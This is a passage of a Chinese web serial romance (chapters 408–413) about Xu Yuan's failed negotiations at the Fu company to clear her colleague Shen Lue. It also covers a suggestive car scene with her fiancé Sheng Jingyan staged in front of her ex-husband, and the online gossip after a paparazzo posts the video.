她想毁掉傅氏,用最快的速度毁掉傅氏。 等到傅氏换了新的领导人傅京礼还能这么嚣张吗? 许宁连着冷笑了几声,但忆起在医院听到的那些话脸色愈发冷了。 她本意是既然已经跟傅守越是一条船上的人,未来傅守越可能会成为傅氏的领导者,那她何不选择傅守越? 傅守越的身高相貌都是一流,在她看来并不输给傅京礼。 可万万没想到……傅守越心里早就有了人,还是他的妹妹傅嘉誉。 傅嘉誉那个贱人,她至今还记得傅嘉誉曾经以她的出身侮辱她,为了许愿嘲讽她是私生女。 凭什么傅嘉誉能够跟傅守越在一起?他们可是兄妹,没有血缘关系那也是忆起长大的兄妹,传出去也不怕被人戳穿脊梁骨! 许宁恶意满满,只要想到这两人的身份曝光傅嘉誉会被网络上那群疯子问候就不由得笑出声。 她是绝不可能让傅嘉誉跟傅守越在一起的。 她既然已经选择跟傅守越是同一条船的人,那么能够跟傅守越在一起的只能是自己……她会拆开傅守越和傅嘉誉的。 能嫁给傅守越的只会是她,绝不会是傅嘉誉。 许宁握紧手中的笔,眼底都是对傅守越的势在必得。 傅氏顶层总裁办公室。 许愿并不想跟傅京礼寒暄,直接切入正题。 “你想要什么才肯把沈略没有转移财产的证据交给我,签订新的合约?还是需要将新开发的使用权同时分给傅氏?你可以提你的要求。” 这些天许愿已经联系薛酒了陆斯年查找那几年傅氏相关账目记录,但无一例外早就被销毁。 没有记录就无法证实沈略的清白,不能证明沈略的清白她就没办法将沈略从警局带出来。 所以,现在无论付出多少代价,她都要救出沈略。 他能感受到许愿对这件事的坚持。 他微微垂眸,开口:“证据早就被销毁,我这里没有任何备份。” 事关傅长海的他都不会留有备份,以防有人查到蛛丝马迹伤害到傅家人。 许愿默然看他,傅京礼没有任何表情,他沉默着。 可他的沉默就已经是最好的答案。 许愿实在想笑,她看着面前的傅京礼,脸色却越来越冷。 “我知道你一直都在维护傅长海,但没想到你能维护他到这一步,傅京礼,为了你的大伯,你还真是什么事都做得出来。” “那么沈略在你眼里又算什么?” “仅仅因为沈略离开傅氏选择了我就要赶尽杀绝毁掉他这一辈子的前途葬送他的一切。” “你怎么能狠成这样?” “看来今天我根本就不该来。” 许愿已经没有兴趣跟他继续谈下去,与其浪费时间倒不如早些回去想办法救沈略。 许愿转身离去,傅京礼看着她消瘦凉薄的背影叫住她。 “许愿,如果你是我,你能留下这些把柄让自己重要的亲人受到伤害吗,如果是盛景炎做出这些事你会留下这些把柄吗。” 第408章 欺骗她的后果 如果是盛景炎做了这些事,许愿要如何做? 她也能这样大义凛然吗? 傅京礼开口说的这些话却让许愿险些笑出声。 她甚至连头都没有回,声音里面夹杂着嘲意。 “如果盛景炎是这种人,那我和他根本就不会开始。” “亲人也好爱人也好,首先他们都应该有正确的三观,他们该知道什么事应该做什么事不该做。” “小孩子都知道的事,傅长海这样的成年人却不知道收敛,傅京礼,迟早有一天他会为他自己做出的一切付出代价。” 傅京礼终究没有叫住她。 他不由得握紧自己的手,眼底都是晦涩之意。 许愿一直都是这样嫉恶如仇的性子,更何况这次为傅长海背锅的人是沈略。 这些年,他已经为傅长海解决了太多次问题,他已经累了。 傅京礼很想叫住许愿,但现在的他却没有了这个资格。 …… 离开办公室就看到不远处好似等候多时的容浔,他仍然是那副恰到好处的温柔礼貌模样,任谁看到他的外表都想不到这人的心肠有多黑多狠。 当初傅氏铁三角,她只是凭借自身实力为傅氏拿下合约,沈略同样如此谈下合同,唯有容浔是真正了解傅京礼走近傅京礼的,他是傅京礼的一把刀,会为傅京礼解决一切的麻烦,可以说傅京礼手上或许没有沾过血,但容浔……怕是早就不干净了。 许愿也是在离开傅氏后才真正完全了解容浔这样恶魔一般的人。 一旦与他站在对立面,那就是死敌。 她清楚自己的价值,容浔也清楚自己的价值,所以他才会如此看重她盯紧她,以防她可能做出任何危害傅氏的事情。 “为沈略来的?” 容浔开口。 他最近许是遇到的都是烦心事,离近了就能闻到他身上浓重的烟味儿,不知道抽了多少烟。 她微微皱眉:“明知故问。” 容浔轻笑了一声:“好,既然你是为沈略来的,那不妨谈谈。” “我跟你之间没什么好谈的,傅京礼都不能给我的东西难道你能给我?”许愿嘲讽:“容浔,有时候别太看得起自己,傅氏真正做主的还是傅京礼。” 容浔完全不会生气,他了然的附和:“的确,傅氏做主的人是傅京礼,这我完全赞同。” “可你跟我共事那么久,也该清楚我知道的并不比傅京礼少,或许你想要的东西傅京礼没有,而我这里恰巧有呢。” 容浔的话不是暗示,已经是明示了。 他在告诉许愿,他手里有许愿要的东西。 许愿猛地看向他。 “容浔,你该知道欺骗我的后果。” “我当然知道,所以你真的不打算跟我谈谈吗。”容浔开口,像是在邀请,但其实更多的是威胁。 许愿面色平静:“带路。” 容浔像是早就算到许愿会同意,他带着许愿回到自己的私人办公室,会客桌上是泡好的茶,看来他早就算准了许愿会为了沈略跟他交涉。 容浔亲自为她倒了杯热茶,许愿却连看都没看,开口质问。 “傅京礼拿不出的东西你却能拿得出来,你对傅京礼可真是够忠心的。” “谢谢夸奖。”容浔轻笑:“我当然对傅总忠心,就是因为对傅总足够忠心所以才会留下那些证据以防万一,如果未来哪一天傅长海有了背叛傅总的心思也好用这些来打击他,毕竟你也知道傅长海并不算什么好人不是吗。” 傅京礼看重傅长海是因为他父母去世的早,自幼是傅长海和傅老爷子带大的,他有一部分对父亲的感情都给了傅长海,所以有事更看重亲情的蒙蔽了自己的双眼不愿去伤害傅长海。 可容浔不同,容浔对傅长海没有更深的感情,他只在乎维护傅京礼的利益。 傅长海自私自利只看重利益,所以他才会背地里违背傅京礼的命令留下那些证据。 他就是对傅京礼忠心才是留下这些,他是绝对的利傅京礼主义者。 在他看来他和傅京礼是一荣俱荣一损俱损的利益体。 许愿看容浔的眼神愈发复杂。 容浔这个人并不是传统意义的好人,你甚至可以说他冷血冷情,不然也不会做出针对设计沈略的事情,可他偏偏又记得幼年时期被傅京礼救回家一起长大的情意,哪怕这中间傅长海数次利益引诱都未能让容浔改变自己的阵营。 他是从始至终全心全意站在傅京礼阵营的。 可以说哪怕是真的遇到危险他也能豁出自己为傅京礼挡刀的人物。 虽然容浔是个疯子,但这个疯子却是实打实的对傅京礼好的。 纵然许愿不喜欢他,却也因着这一点欣赏他。 许愿难得放缓语气:“我知道傅氏也在研究抗癌相关的药物,盛世盛华可以与傅氏合作一起配置药物进行售卖,如果我没记错傅氏跟江家还有合作,这也可以是你们谈判的筹码。” 这一点可以说是许愿做了很大的让步。 任谁都知道研发出一味市场稀缺却需求量极高能救命的药物都会掀起波澜,她给的合作机会可是实打实能赚取巨额利益并且能提升集团知名度的东西。 容浔慢条斯理的喝了杯热茶,方才缓缓开口:“我看到了许总的诚意,但是这些怕是不够。” 许愿微微眯眸。 拿出抗癌药物还不够,看来容浔是知道她看重沈略打算狮子大开口了。 她不介意听一听容浔的打算。 “那么容秘书想要什么,你可以试着开价。” “试着”二字也是在警告容浔不要太过分。 容浔开口:“段星河不是已经研究出了智能系统,许总应该能明白我的意思了。” “傅氏在A市乃至在整个华国都是排的上号的,盛世既然能跟盛华合作自然也能跟傅氏一起合作不是吗?我们几家公司可以达到合作共赢。” 还真的是在狮子大开口了。 让出抗癌药物的利益还不够,竟然还盯上了智能系统。 许愿沉默的看向容浔,两人像是在对峙,一时没有人开口。 第409章 阿炎哥哥 “容浔,我跟你共事三年你却完全不了解我。” 许愿长指敲打着桌面,“哒哒”的声音很轻,却带着某种难以言喻的威胁。 “你没有看过莱蒂斯的下场吗。” “所有想从我这里抢东西的我不仅不会让他们如愿以偿还会让他们付出应有的代价。” “我给你的你才能收,我不想给你你却要抢的……你可以试试看代价是什么。” 许愿笑意幽深,带着明显的凉意。 莱蒂斯确实是很好的例子。 莱蒂斯想抢走她合作的机会,许愿就打压莱蒂斯并用低于成本价几个点的价格买下莱蒂斯出售的地皮和产业,莱蒂斯想要偷走她的资料在华国建立自己的车企,她就将莱蒂斯的企业直接赶出赶出A市赶出华国。 想算计她想抢她东西的全部都没有好下场。 许愿的提醒让容浔本还带着笑意的脸色冷了下来。 “我们算是谈崩了?” 许愿微笑:“是的,谈崩了。” 许愿站起身欲走,容浔凉凉的笑了一声:“许愿,除了我没有任何人能给出你想要的证据。” “你口口声声说自己在乎沈略要救他,看来也不过如此。” “我为什么一定要证据。”许愿转过身去看向他,笑意幽深。 “容浔,你好好想想我是什么身份,段星河是什么身份,我们又研究出了什么?我们真的想保一个人难道会保不住吗。” 容浔怔住。 许愿是什么身份?段星河是什么身份? 这两人因为过于逆天的智商所以身边都有警备队的人跟随保护,他们年轻却聪慧,是科研方面的宝藏级人物,就冲他们研发的抗癌药物和智能系统以及3D相关的东西就已经壁研究员的一些人更重要。 因为他们的年龄本身就代表了无限可能。 他们站出来用自己的身份来担保,保一个人那是轻而易举的事,想洗白沈略也不过几句话的事。 在上面看来,个人争执仇恨也好利益也好都比不过国家大义。 所以只要许愿开口,对,她甚至不需要远了去说,只要对一直跟随她的刑从景开口就够了。 刑从景是刑家人,他自然会反馈上面给许愿一个交代。 到那时会有上面的人跟傅氏做对接,让他们挑选一个替罪羊推出去以证明沈略的清白,让他干干净净的从警局出来。 容浔想到这些脸色已经有些难看了。 “你只这样开口,凭什么认为上面一定会听,没有任何好处他们会帮你?我只是要合作的机会,他们可能要的是配方是核心数据!” 听到这里许愿已经有些想笑了。 “我们身边跟着的是警备队的人,核心数据早就在第一时间上交了,我们是华国人,当然会将这些上交以此来证明我们的价值,也方便护住我们身边人。” “这么简单的道理,容浔你当真不懂吗。” “我以为你是聪明人,没想到你却如此蠢笨。” 许愿来见傅京礼和容浔其实就是想要让沈略干干净净的出来,但现在到了这一步也是没有办法的事。 许愿离开了。 容浔看着桌上还温着的茶水眼底尽是冷意。 这次算是他棋差一招。 离开容浔的办公室不出意外的看到傅京礼,许愿脚步未停离开。 他不紧不慢的跟在她身后,一直到她即将走出傅氏,傅京礼正欲开口,却听到门口处传来一道含笑的温柔声音喊了她的名字。 “阿愿,我来接你回家。” 傅京礼眸色深沉,抬眸看去,便见盛景炎坐在轮椅上对着许愿笑。 许愿毫不在意他现在只是个废人,脸上弥漫着笑意过去,甚至半蹲下身捧住他的手抚摸她白嫩的侧脸,这一幕看的傅京礼心口发疼,利箭一箭一箭刺戳着心口。 许愿还能感受到傅京礼看过来的眼神,她毫不在意,甚至当着他的面在盛景炎唇角印下轻轻的一吻,然后推着轮椅有说有笑的离开傅氏。 傅京礼能感受到许愿那一吻是冲他来的,她是刻意的要告诉他,她已经有了爱人,她的爱人是盛景炎,不是他。 …… 离开傅氏上了车。 她内心喟叹一声,十分满足的窝在男人怀中,声音带点哑意在他怀中撒着娇喊他的名字,“盛景炎。” “嗯?”盛景炎拍抚着她的后背:“刚才是故意当着傅京礼的面吻我?你在刺激他?” 许愿扬眉:“你管我是不是要刺激他,你是我未婚夫是我的爱人,我想亲你还亲不得吗。” 盛景炎失笑,许愿却赖在他怀中甜甜的喊了声:“阿炎哥哥。” 许愿什么时候这样喊过他? 还喊哥哥? 也就只有床上的时候会眼含泪意被欺负的受不住了才会讨饶喊哥哥,现在就在车上喊,总像是带着某种暗示。 盛景炎眼瞳陡然多了抹看不出的神色,他将人从怀里拎出来,捏住她的下巴强硬霸道凶猛的亲吻着,谈不上温柔反倒有股侵占她的意思。 许愿呼吸急促,她眼尾很红,那自带的媚意还有此刻因为虚弱散发的楚楚可怜的味道更令他有一种想要她的冲动。 他放开身下不停喘息换气的爱人,呼吸粗重在她耳边压低声音,“要在车上?阿愿你确定吗。” 许愿抬手遮住自己发红的双眼,那一团伴着急促呼吸很是显眼。 她喘息着嗯了一声,像是真的打算找刺激。 她是真的很美,此刻乌发四散,肌肤像是莹莹白玉,细嫩的腰肢也更激起他的火气,不等她回应便要去解衬衫扣子。 许愿红着眼眶捂住胸口,“别,别扯,我新买的衣服,我很喜欢这件衣服的。” 盛景炎舌尖顶了顶下颚,“那你自己来?” 许愿在他面前什么羞耻事都做尽了,可现在他目光灼灼的盯着她还是让她觉得羞窘,羞着羞着她戏瘾就上来了,边解扣子边哭泣,“盛将军,我们真要背着夫君做这种事吗,我可是她的正妻……” 盛景炎,“……” 盛景炎茫然了一瞬,回过味儿来明白许愿这是跟自己玩什么奇怪Py呢,也不知道是哪里来的奇怪剧本,她喜欢玩他就陪她玩。 第410章 请吧,小公主 盛景炎扣住她的手冷笑一声,“你是他的人又如何?只要我想要你只要同他说一声他必然着人把你洗干净了送到我床上。”他勾弄着她的下巴,“你以为你夫君是个什么好人能为了你违背我的意思?” 许愿吞咽了下口水被盛景炎此刻的眼神帅到了。 他很上道的咬着她的耳朵,一手拍了拍她惊慌苍白的脸,“你听话我就能对你好一些,你若是不肯乖乖随我高兴,我就杀了夫君把你关在我家中不见天日。” 许愿褪去身上的衣裙跟他低声咬耳朵,“你不跟栩栩一样进圈子当演员真的好浪费哦。” 盛景炎低笑一声由着她的手四处点火,等盛景炎蓄势待发许愿突然抱住她,“等等。” 盛景炎无奈,“又闹什么。” “我下午还要去研究所,只能一次,还要快一点,不然我怕赶不上。”许愿这话还有理有据。 盛景炎再一次升起想把人带回家关起来任他为所欲为的冲动,当然他也只是想了想,他当然清楚许愿在外面有更广阔的舞台,只那个“快”字还是让他颇有恼意,却也只是温柔的轻笑一声让她结结实实感受到了另类的“快”。 知道许愿还要工作他也知分寸没有把人折腾的太狠,但这把持的度就不好说了,总归还是把人欺负了一通的。 说起来许愿现在的年纪其实只能算是大学刚毕业一两年,还算是个小姑娘,娇气的很,稍微用力就要跟他哼唧撒娇喊哥哥,再玩点别的倒是什么都能喊出来,十分的让人放不下。 最后许愿瘫在他怀里手却还在捏着他的手臂偷偷掐他,像是耍小性子似的。 “算了,我开车吧。”许愿下巴抵在他肩上蹭了蹭,却听到盛景炎低笑的声音。 “你怎么不想想我是怎么来接的你,我现在可没办法开车。” 他觉得许愿可能是还没反应过来,脑子都跟着慢了半拍。 许愿顿了一下,倏地捂住自己的脸,喉间都发出羞耻的呻吟声。 “司机在哪里。” “上车的时候就已经被我支走了,现在大概……”盛景炎向外瞥了一眼,正巧看到司机脚底的烟头啧了一声:“就在车门外,抽了……挺多烟的”话落盛景炎摇下车窗:“把烟头捡起来丢进垃圾桶。” 他还挺有素质呢。 司机干笑两声把烟头都丢到垃圾桶,许愿已经将头埋进他怀里,显然是羞的没办法见人了。 私下跟盛景炎怎么撒娇怎么亲亲抱抱是一回事,但是让旁的人猜出来或者是看到还是会很脸红的。 能明显感觉到怀里的爱人体温好像都在这一刻上升了。 盛景炎实在有些想笑,但是抬眸的瞬间,余光扫到另一道修长的身影,有对他明显的敌意和恶意。 是傅京礼。 盛景炎抬眸,唇角的笑意都是冷的。 他的手环抱住许愿,将她整个人完完全全抱紧怀里,亲密无间,甚至此刻低头在她发梢间轻嗅着轻吻着,只是这样轻缓的动作都能感受到他即将从心底漫出的爱意。 隔着并不远的距离,傅京礼能够看到盛景炎的手扣住许愿细嫩的腰肢,她好像很依赖她,柔弱无骨的倚靠在他怀中,与跟外人时全然不同。 面对记者也好,合作者也好,她一直都像是定海神针一般的存在,她优雅淡然却又暗藏锋芒,与她交涉的人都能感受到她内里潜藏的攻击性。 然而此刻的许愿好像卸下了身上所有的尖刺,只露出了柔软的内里,温柔小意……不,或者说是只对她的爱人露出这般姿态。 明明最初得到这一切的是他。 她的爱人本该是他。 是他弄丢了一切,只能被盛景炎故意针对的看着这一幕。 都是男人,他当然知道盛景炎是故意的。 他当然怨当然恨。 恨他没有真的死在那场火灾中,恨他成了断了双腿重新回到许愿身边,恨他要跟自己争要跟自己抢,恨他夺走了自己的挚爱夺走了自己最珍贵的东西。 盛景炎微微垂眸,抱着她的力气大了几分。 他能明显感受到傅京礼对许愿汹涌的爱意,他从不克制。 他觉得可笑。 当初是谁伤她最深?迟来的深情谁会想要?他的阿愿是聪明人,纵然没有他,阿愿也绝不会吃回头草再去选择一个伤她至深的傅京礼。 所以傅京礼将他看做情敌才最可笑。 他配做他的情敌吗? “怎么突然抱的这样紧。”许愿声音带着笑意,凑在他耳边低语。 盛景炎示威一般扫向傅京礼,他并不避讳的开口:“傅京礼在看我们。” 许愿很明显的皱了下眉。 “你要看吗。” 盛景炎开口:“他看你的眼神深情缱绻带着势在必得,看我的眼神却是罪大恶极恨不能冲上来撕咬下我的一块肉,还挺凶。” 许愿从他怀中探出头看他此刻像是吃飞醋又像是开玩笑的模样故意开口询问:“我能看吗。” “你还真想看?”盛景炎伸出手捏了捏她的脸颊,许愿唔了一声:“那能看吗。” 盛景炎也知道她故意逗他,他抱着双肩努了努下巴:“请吧,小公主。” 许愿忍不住笑了一声,这才转过身朝着那边方向看去,傅京礼似乎没料到许愿会转身,整个人身体都好似僵硬了。 就像盛景炎说的,深情缱绻的眼神。 许愿微微垂眸。 那三年间若是傅京礼有现在的感情她们也不会走到这一步,挺可笑的。 人啊,总是在失去后才会后悔。 她现在已经遇到了自己的爱人,所以早就不在乎傅京礼那样拿不出手的可笑的爱意了。 车窗并未关上,能很清楚的看到车内的人在做什么。 许愿回过神,她像是故意一般伸出双臂声音软软的,“要抱抱。”这就开始爱后的撒娇了。 盛景炎明显顿了下。 “故意的?” 他多了解许愿。 这时候开着车窗撒娇要抱抱,显然就是故意的在刺激傅京礼。 该说不说……他也挺想这么做的。 刺激情敌什么的,听起来就很有意思。 第411章 亲亲要吗 “你难道不想吗?”许愿歪头看他:“别以为我不知道,恐怕你在看到傅京礼的时候就想亲亲抱抱了,不然那时候也不会故意抱紧我。” 不就是想告诉傅京礼她是你盛景炎的吗。 在一起也有段时间了,她什么不懂。 “那我谢谢阿愿得配合给我这个机会?”他也不找借口,就这么认了,脸上都还带着笑意。 盛景炎十分宠她真把人抱进怀里,她小孩子圈地盘似的回抱住盛景炎。 “要不要加点料,亲亲要吗。” 那还真是越来越刺激了。 为什么不要? 盛景炎脸上明显弥漫出笑意,似乎在对她说:“来。” 她还真就来了,直接在男人脸上“叭叭叭”连着亲了几口后又去拽男人衣领宣占领地一样在他锁骨处留了个牙印儿这才十分满意的又朝男人伸爪,“把我的手链戴上。” 方才她是怕自己的手链划伤盛景炎才摘下了,现在有那么点骄纵劲儿的让他带手链,小公主似的。 盛景炎微微挑眉,看她这副要上天的得意模样,怎么看怎么可爱。 被喂饱的小狐狸,还真是让人忍不住想疼惜。 伺候着无力的小狐狸穿好衣服,这期间又被小狐狸叽叽歪歪的在他怀里使坏,一会儿凑过去亲一口,一会儿又揉着男人的头发作怪,总归是到处惹火半点没闲着。 许愿心里清楚,不止是在刺激傅京礼,其实也是故意在“欺负”盛景炎,反正等会儿就要去研究所报道了,盛景炎不会耽搁时间继续折腾她的。 现在权当是报复盛景炎那么使劲儿的欺负她了,对她来说还真就是一报还一报了。 这对盛景炎来说倒也没事,今天作的都给她记上了,等她闲下来有她受的。 男人深深的看了眼乖巧坐在他怀中揉他手背的小狐狸,小狐狸现在笑容很甜,见他望过来的黑眸便主动凑过去亲吻那双漂亮的眼睛。 “闹够了?” “闹够了我让司机回来送你去盛世那边的研究所?” 许愿低着头摆弄男人的手,把自己的手跟他的双手握住又松开,松开复又握住,玩的不亦乐乎眼睛都弯起来,听到这话嗯了一声。 车窗关上之际,许愿透过车窗,眼神凉薄的瞥向傅京礼。 她想,傅京礼总该彻底明白她的态度了。 她有了盛景炎,是绝不会再给他任何机会的。 傅京礼看着远走的车子,直到车牌都看不到方才收回自己的眼神,今天天气算不上好,没有太阳,温度了低了几个度,他就站在阴凉处,只觉浑身都在冒着凉意。 “她的态度还不够明显吗,你继续坚持也没有任何意义的。” 容浔不知何时站到他身旁,声音里面难免带着几分怅然。 傅京礼沉默片刻转移话题:“你和许愿聊了些什么。” 容浔做任何事只要傅京礼问了他就不会瞒着他。 “没聊什么,他来找你要沈略没有犯罪的证据,不巧我这里刚好有证据,只是在跟她谈价格时谈崩了。” “你知道的,聪明人之间谈这些交易总是不好谈拢的。” 容浔失笑。 容浔心里很清楚许愿当时提出要跟傅氏一起合作出品抗癌药物的时候就是一个大坑。 许愿和段星河同样是研发者,谁能保证他们不会在给出这份详细的配方后再进行精进提炼再有强效药物?以许愿和段星河的智商加强版是绝对会有的,但那是许愿绝不会继续选择与傅氏合作,所以他才会得寸进尺的打算一起合作人工智能。 不是他贪心。 是因为傅氏现在已经不是一年前的傅氏,他每走一步都要小心,避免再次遭人算计。 没了许愿没了沈略,很多工作都只能由他和傅京礼亲自审核,而傅守越毕竟是傅长海的养子,傅长海这人他也是了解些的,不像傅京礼带着亲人滤镜,他是知道傅长海最看重利益和金钱,所以他是担心引狼入室。 现在哪怕辛苦些也好过让傅家其它人进入傅氏。 “既然有能够证明沈略的证据为什么不给她。”傅京礼声音里明显带了几分凉意。 容浔顿了下:“沈略会是我们未来的敌人,对敌人的仁慈就是对我们的残忍,在他还有利用价值的时候卖个好价钱才是最优选。” 容浔想,好吧,看来他和傅长海一样,都是精于利益者。 傅京礼沉默片刻,到底没再说什么。 从另一层面来看,他们是一类人。 “其实你对许愿真的是爱吗。”容浔开口:“不该是对异性强者的一种欣赏爱慕吗。” 容浔开导他:“如果你真的喜欢许愿,那三年时间足够你喜欢上她。” “那三年许愿在傅氏也谈各类合作但是却并不会锋芒毕露,是在离开傅氏后爬到最顶端,你对她真的只是爱吗,还是基于利益掺杂了不纯粹的感情,如果是这样那我希望你可以理智一些。” “现在的傅氏与她是敌对关系。” 容浔看得很清楚,他可能脑子里面就没装着爱情那根弦。 他可能甚至都不清楚什么是喜欢什么是后知后觉的爱,就像当初不懂爱的傅京礼被江惊蛰点醒一般。 傅京礼垂眸,唇角的笑意都掺杂着自嘲的凉意。 “我喜欢她。” “大概初见就已经喜欢了。” 那种感觉是无法描述的。 但他至今还记得在他这里和许愿的初见是在A大,第一眼看到她就已经将人记到心底,但因为内心还有少年时期曾经救过自己的女孩,所以强行压制了自己的感情。 后来因为发生那一系列意外他跟许愿结婚。 其实只是结婚完全可以不发生关系。 他和许愿发生关系真的只是因为生理需求吗? 不是的,其实更多的还是内心深处的喜欢和在意,如果换做别的人他会拒绝会冷落甚至不会住在一间房。 他可以忍受许愿的接近,可以谁在同一张床,接受她的拥抱他的亲吻。 所以,其实在此之前,他的灵魂早已先他一步爱上许愿了。 第412章 不会再有其他人 “如果真的不喜欢,我不会对我们的初见记得这么清楚。” 因为在意所以记得。 是他不懂爱,是他将感恩当成爱所以伤害了她结束了他们这段关系。 可是第一个喜欢的就是许愿,他以后又要怎么去爱其它人呢? 不会再有其他人,只会有一个许愿。 …… 无人知道的角落,一名一直跟随许愿的狗仔本打算拍一些爆炸性新闻,没想到还真的被他拍到了爆炸性新闻。 许愿和盛景炎开着车窗拥抱亲吻,甚至还能通过视频看到盛景炎挑衅的目光,而傅京礼也就是许愿的前夫傅总就站在不远处脸色难看到几乎发白的程度。 这是什么终极修罗场,就这视频绝对能上热搜! 现在谁不知道跟许愿相关的一般都能上热搜啊。 狗仔赶紧登录了自己的八卦爆料号将这段视频抛到网络上,并配文字“盛世夫妇决战傅氏现场修罗场NTR” 这配上去的文字就很有意思了。 盛世夫妇,现在谁还能被称为盛世夫妇啊,可不就是盛景炎和许愿吗,决战傅氏?他俩去傅氏干什么去?还修罗场NTR,搞这么刺激的吗? 众人立刻点进词条,词条也一路攀升几乎要压下温栩栩和江恒的热搜了。 {我不懂了,许愿都已经从傅氏离职了还去傅氏干什么?炫耀?还是痛打落水狗啊,都已经前夫前妻了公司都换了没必要再去傅氏吧,还是说许愿打算当海王还跟傅京礼藕断丝连看不上盛景炎了?早说啊,我就知道没有人可以一直跟一个断了腿的残疾人在一起的,不管那人是谁} {楼上明显吃不到葡萄嫌葡萄酸啊,许愿爱去哪去哪你管得着吗,许愿可不是你这种娇滴滴的小娇妻只依靠男人活着呢,人家靠自己就已经称为资本了,你猜人家许总为什么去傅氏?私情是私情公事是公事,谁说离婚就不能两家一起合作了?她现在是盛世的总裁,等同于跟傅氏的傅京礼是平级,两位总裁的事跟你这月薪不够三千的人有毛关系啊!} {狠狠点了,许愿都已经跨越阶层了,偏偏有人就喜欢用卑劣的角度去解读她,作为半个圈内人可以给你们解析一下许愿为什么去傅氏。盛世和傅氏其实现在属于是对立状态,当然没有到攻击的程度但是合作应该是不会再有了。许愿去傅氏是为了什么?大家还记不记得傅氏铁三角?容秘书许愿还有前阵子上了热搜被傅氏推出来称收受贿赂并挪用公款建立皮包公司吃回扣的那位沈略,那个是铁三角中的另一位沈秘书。许愿和沈秘书的关系是很好的,大概可以理解为没有血缘关系的异性兄妹,沈略是不是真的做了那些事还不清楚,但许愿这人非常护短,被她划到地盘内的人她是一定要护着的,她去傅氏肯定是为了沈略的事来的,当然最后大概没谈拢} {沈略啊,沈略其实也算得上事金融天才了,只是之前光芒都被许愿和容浔压制住了,想想也是,一直能将傅氏的工作处理得当并且在许愿最需要的时候进行支援跟上许愿脚步的能有几个啊,希望他不会真的犯事,希望许愿能找到证据把人捞出来。} 这时候已经有一群人在嘲讽沈略挪用公款了,许是圈内人有些看不下去了,开了小号解释。 {沈略这人在铁三角中时存在感最低的,但不代表他不够聪明,这人在路上抽根烟都要将烟头摁灭检查一遍再扔进垃圾桶的人,这种在酒局上看到有人灌同行女性酒就会维护出手的人,这种曾经在晚宴上为了维护一个女性服务员得罪了世家险些被砸断整条手臂的人,你告诉我他会做这种事吗?沈略道德感很高,他不屑于做任何违法犯罪的事情,现在就算是大马路上有个躺在马路上的老人他都是那种赶上去扶的你们能理解吗!更何况,沈略年薪千万还有傅氏奖励的小部分股份,每次参与合作都能拿到大笔不菲的奖金,而他本人又对那些高昂奢侈品没有追求,在A市的平层别墅是傅氏犒劳送的,车子是傅氏抽奖送的,就连每年每季的西装礼服都因为他的身份是傅京礼的首席秘书之一所以有专人定制,你们认为他缺钱吗?他会为了那笔钱发疯报复自己的伯乐吗?我就这么说吧,沈略喝醉酒能发疯捅他自己几刀都不可能在没离开傅氏前做任何对不起傅京礼的事情!这是他的原则他的自尊他的人格他的底线!} 圈内跟沈略合作过的人都清楚沈略的脾气,为他说话的倒是不少,不过都是小号。 {沈略这明显就是被拉出来当替罪羊的。} {沈略和许愿的关系太好了,许愿离开前还有铁三角的时候沈略是傅氏的高层,任谁看了沈略都要叫一声沈哥,许愿走后就因为他曾经跟许愿关系太好所以才会被逐渐边缘化,说是高层倒不如说是嘲讽,当时有人提起沈略已经递交了辞呈。如果沈略递交辞呈这种传言是真的,那沈略“做出”那些事就有了解释} {许愿有多大的能力你们也都看到了,一个许愿的战力多强?如果金融峰会的时候许愿没有离开傅氏那金融峰会上拔得头筹的一定会是傅氏,沈略虽然不及沈略但也是极为优秀的人物,这样的人若是知道自己公司太多机密甚至打算离开,未来就会是敌人,既然是敌人那凭什么安安分分的离开呢?所以沈略明显就是某个人的替罪羊,且要榨干他最后的价值,资本都是如此无情。} 这种言论才发上去立刻就有无数人在下面留言,有傅氏的水军也有盛世的水军,各执一词,场面实在混乱。 也不知道是谁角度比较清奇,在微博上即将掀起战火的时候来了句“你们到底在吵什么,难道重点不是这个修罗场视频,啊不,这个追妻火葬场视频很好品吗。” 第413章 笑够了吗 什么好品了? 是不是重点错了啊! 那妹子大概也是知道自己可能口出了下狂言,赶紧继续开口解释。 {你们自己看视频啊,视频真的很好笑的,车子外面那个是司机吧,司机就坐在休息椅子上一直在抽烟,一地的烟头,盛景炎打开车窗的时候许愿明显坐在他腿上整个人小娇妻似的埋进他胸口,视频放大了看还能看到盛景炎锁骨上有牙印,明白了就是许愿咬的啊!} {再看许愿的动作,大概是在害羞,在害羞什么?来我们看下司机脚边的烟,司机抽了多少烟,猜猜两人在车里待了多久,那么长时间该干的不该干的全都干了啊,许愿这模样大概是觉得让司机知道这事儿有那么点丢人所以才埋头进盛景炎怀里。} 众人果然跟着她再度看了遍视频发现果然是这么回事儿。 众人无语众人直呼离谱但是还有点好嗑。 那妹子继续开麦。 {视频里面这个时候就已经看到傅总的身影了,傅总的眼神是怨恨的,厌恶的,感觉透着屏幕都能感受到他身上的凉意了,就是这里,盛景炎故意看了他一眼抱住了许愿,这边两人明显是耳语了几句,然后许愿就开始亲吻盛景炎,甚至还故意回头看了傅京礼一眼!这妥妥的挑衅这攻击力!无疑是在告诉傅总“老娘不爱你了老娘有新的爱人了你给我滚!”我靠傅总受伤的眼神绝了,这修罗场,啊不,这追妻火葬场真的绝了!感谢今天的狗仔我磕到了!} 这妹子解说后众人才觉察出味儿来。 哦,这视频是这么看的啊。 这视频一共四个人……不不不,五个人。 司机在窘迫抽烟抓耳挠腮,傅京礼在怨恨在后悔,许愿在挑衅在攻击,盛景炎在绿茶属于绝对胜利者,最后一个就是在拍视频的狗仔全程兴奋到手抖,是的,视频后面都有些抖了。 这视频可太好品了! 就因为这段视频,词条又往上窜了窜。 许愿来到盛世打算进研究所继续研究,至于公文这些就要交给盛景炎来处理了,盛景炎自然不会拒绝,毕竟这本来就是她的工作。 人才进研究所,段星河的小飞机就已经像流氓一样的缠上来了,绕在她身边转了几圈。 “你老大在休息室还是在实验室?” 小飞机转了下方向,许愿一看方向明了了,哦,休息室,段星河这狗男人又熬夜浪了。 纯粹是觉得研究出了抗癌药物和智能系统所以懒懒散散的开始摆烂了。 许愿跟着小飞机到了盛景炎休息室的门外,为了以防之前段星河不肯开门甚至设置什么黑系统不让她进去所以给他换了扇门。 钥匙直接开门。 门才打开,就听到房间里传来女生尖叫声。 “这许总和盛总太好嗑了!谁说这俩人不好嗑!嗑!使劲儿嗑!” 好像是在看什么狗仔八卦号在直播。 许愿听了一耳朵,总感觉这事儿跟自己似乎是有点关系。 她眼皮跟着跳了一跳。 “你看什么呢 。” 